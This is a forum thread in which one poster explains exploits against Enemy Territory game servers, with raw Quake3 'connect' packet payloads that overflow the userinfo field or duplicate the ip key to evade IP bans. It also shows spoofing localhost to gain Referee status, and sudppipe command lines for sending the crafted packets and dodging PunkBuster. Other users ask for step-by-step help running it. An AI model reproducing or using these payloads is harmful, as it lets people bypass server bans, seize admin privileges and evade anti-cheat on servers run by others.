OOB IP Spoofing exploits: Referee hack & Unban

Annihil

Enemy Territory uses the Quake3 network protocol.

When you connect to a server, the communication is initialized by an OOB (Out of Band) message, which format is:

����connect "<userinfo>"

The �� is the packet header, it is equal to 0xFF 0xFF 0xFF 0xFF and is used to identify the packet type.

connect is the command intended.

The userinfo is a key-value string which format is \key\value.

The userinfo contains

g_password: the server password
cl_guid: the etkey
cl_wwwDownload: whether the client allow pk3 download
name: the player name
rate: the packet transfer rate
snaps: the ping adjustement ?
cl_punkbuster: whether punkbuster is enabled
protocol: the protocol version, here 84
qport: the client port used
challenge: a random number ?

The raw line looks like this:

����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\738\challenge\385942564"

Now, when the server receive the connect query message, it appends another value at the end of your userinfo, your IP

����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\738\challenge\385942564\ip\216.3.128.12:60252"

There is two ways to alter this value

Buffer Overflow

The <userinfo> is a char array of size 1024

#define MAX_INFO_STRING 1024

and thought of adding a long key-value of (1024 - the current <userinfo>) length char at the end of the sent userinfo.

It looks like this

����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\738\challenge\385942564\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

So, here, my <userinfo> followed by \421 × A\420 × A

When the server receive that, it will add you IP after your userinfo, but as it's stored in a char[1024] variable, a buffer overflow occurs and your IP is discarded.

The server does not know your current IP anymore, and if you were IP banned, now you're not.

Duplicate field exploit

If the server receive the same key in the userinfo string, it will remove the last duplicated key.

Inserting

\ip\216.3.128.12:60252\ip\216.3.128.12:60252

after the name key (for example) will make the server remove the last ip key, which is your real ip, keeping the one you inserted in your fake userinfo.

The raw line would looks like that

����connect "\g_password\none\cl_guid\CE0C2139D870D721E895A39BB06500C6\cl_wwwDownload\1\ip\locahost\ip\localhost\name\ETPlayer\rate\25000\snaps\20\cl_anonymous\0\cl_punkbuster\1\protocol\84\qport\693\challenge\385942564"

This method makes it possible to spoof IP.

Now, another exploit can be used with IP spoofing.

Referee hack

Instead of spoofing the IP to a random IP like 216.3.128.12, spoofing it to localhost will automatically promote the player to Referee status.

DrWindows

Does it still work?

Annihil

@DrWindows On some servers yes

DrWindows

I dont get how it works? Can u explain that ref hack?`

Annihil

You can use Simple UDP proxy/pipe 0.4.1 (sudppipe) with Quake 3 engine "connect" modifier 0.2 (q3conmod_sudp) (compatible with Enemy Territory as it uses quake3 network protocol)

plugin for sudppipe which allows a simple customization of the "connect" packet for the games which use the Quake 3 engine:
sudppipe -l q3conmod_sudp.dll -L "\parameter1\value1\parameter2\value2" IP PORT 1234
(use -L "" for the runtime help) then from the console of the game type: /connect 127.0.0.1:1234
the following is an example for joining a server which uses PunkBuster with PB disabled (the client will be kicked after some seconds/minutes):
sudppipe -l q3conmod_sudp.dll -L "\cl_punkbuster\1" SERVER PORT 1234
then from the client:
/pb_cl_disable
/connect 127.0.0.1:1234

So to spoof your IP address, you can use
sudppipe -l q3conmod_sudp.dll -L "\ip\216.3.128.12:60252\ip\216.3.128.12:60252" SERVER PORT 1234
Then, ingame, /connect 127.0.0.1 1234

DrWindows

@Annihil I dont get anything xD where do i need to type that?

Annihil

@DrWindows In the Windows Command Prompt (cmd)

DrWindows

Its really confusing.

Can u write a tutorial with like.
1st u do this
2nd this etc?

sekenbeken

Hello!
You do not know why it causes a cmd failure? I do everything according to your guide.
Bat File:
https://imgur.com/GMbzy40
(4 is port)
Connecting to server:
https://i.imgur.com/HGHHjTT.jpg
https://i.imgur.com/EZ94RS4.jpg
https://i.imgur.com/vJh1ebI.jpg